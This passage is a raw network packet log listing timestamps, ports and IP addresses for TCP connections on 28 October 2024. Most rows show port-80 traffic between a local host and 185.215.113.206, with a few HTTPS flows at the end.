Oct 28, 2024 18:43:35.546188116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546200037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546209097 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546211958 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546225071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546236992 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546236992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546251059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546262980 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546267986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546271086 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546279907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546293020 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546299934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546334028 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610218048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610248089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610265970 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610280991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610290051 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610292912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610342979 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610454082 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610469103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610510111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610521078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610531092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610543966 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610553980 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610564947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610573053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610577106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610589027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610600948 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610600948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610615015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610627890 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610630035 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610661030 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610670090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610711098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610723019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610733986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610761881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610766888 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610779047 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610820055 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610852003 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610863924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610873938 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610884905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610894918 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610909939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610922098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610932112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610932112 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610944033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610953093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610956907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610980988 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.610986948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.610999107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611010075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611010075 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611021042 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611032963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611043930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611043930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611057997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611068964 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611069918 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611083984 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611114025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611135960 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611146927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611164093 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611176014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611186981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611201048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611203909 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611213923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611224890 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611237049 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611248016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611260891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611268997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611289024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611310005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611355066 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611367941 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611378908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611396074 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611397028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611408949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611418009 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611421108 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611433029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611443043 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611443996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611464977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611466885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611478090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611490965 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611493111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611504078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611521959 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611538887 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611552000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611562967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611572981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611586094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611597061 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611605883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611635923 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611641884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611653090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611663103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611675024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611686945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611687899 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611705065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611716032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611720085 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611726046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611727953 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611737967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611759901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611785889 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611804008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611815929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611825943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611836910 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611848116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611859083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611866951 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611880064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611891031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611896992 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611901045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611908913 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611927986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611938953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611942053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611951113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611962080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611962080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.611974955 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611987114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611999035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.611999989 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612018108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612040997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612057924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612070084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612093925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612109900 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612143040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612154961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612170935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612174988 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612183094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612189054 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612195969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612207890 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612219095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612221956 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612250090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612252951 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612265110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612288952 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612293005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612303972 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612310886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612332106 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612339020 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612350941 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612361908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612363100 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612380981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612410069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612415075 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612421989 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612432957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612449884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612478971 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612732887 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612778902 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612787008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612797976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612827063 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612838030 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612843037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612849951 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612862110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612873077 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612874985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612884045 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612888098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.612922907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.612951040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613033056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613044977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613061905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613071918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613081932 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613095045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613106012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613106966 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613117933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613128901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613140106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613151073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613154888 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613163948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613174915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613174915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613197088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613210917 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613214016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613231897 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613240957 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613281965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613300085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613312006 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613322973 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613322973 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613334894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613346100 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613348007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613360882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613369942 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613373995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613388062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613395929 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613399982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613419056 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613451004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613454103 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613466024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613477945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613491058 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613521099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613542080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613553047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613563061 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613574982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613589048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613603115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613610029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613615990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613637924 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613647938 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613648891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613662004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613672972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613686085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613699913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613717079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613718987 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613734961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613739967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613748074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613753080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613789082 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613835096 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613847017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613857985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613868952 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613881111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613888979 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613893032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613905907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613917112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613919973 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613929033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613936901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613957882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613961935 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613970041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613976002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613981962 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.613986015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.613987923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614017963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614038944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614056110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614061117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614069939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614080906 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614082098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614094973 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614106894 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614115000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614146948 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614191055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614208937 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614219904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614231110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614233971 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614243984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614252090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614273071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614278078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614290953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614295006 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614300966 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614312887 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614314079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614326954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.614341974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.614377022 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.662019968 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.662111044 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.662134886 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.662205935 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.662241936 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.662265062 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.688174963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.693720102 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.779742002 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.779810905 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.779854059 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.779910088 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.779947042 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.779974937 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.808865070 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.809747934 CET	63571	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.809771061 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.810126066 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.810981035 CET	63571	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.811062098 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.811748981 CET	63571	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.855341911 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.896558046 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.896627903 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.896675110 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.896725893 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.896759987 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.899677992 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.905771017 CET	443	63578	13.107.246.51	192.168.2.5
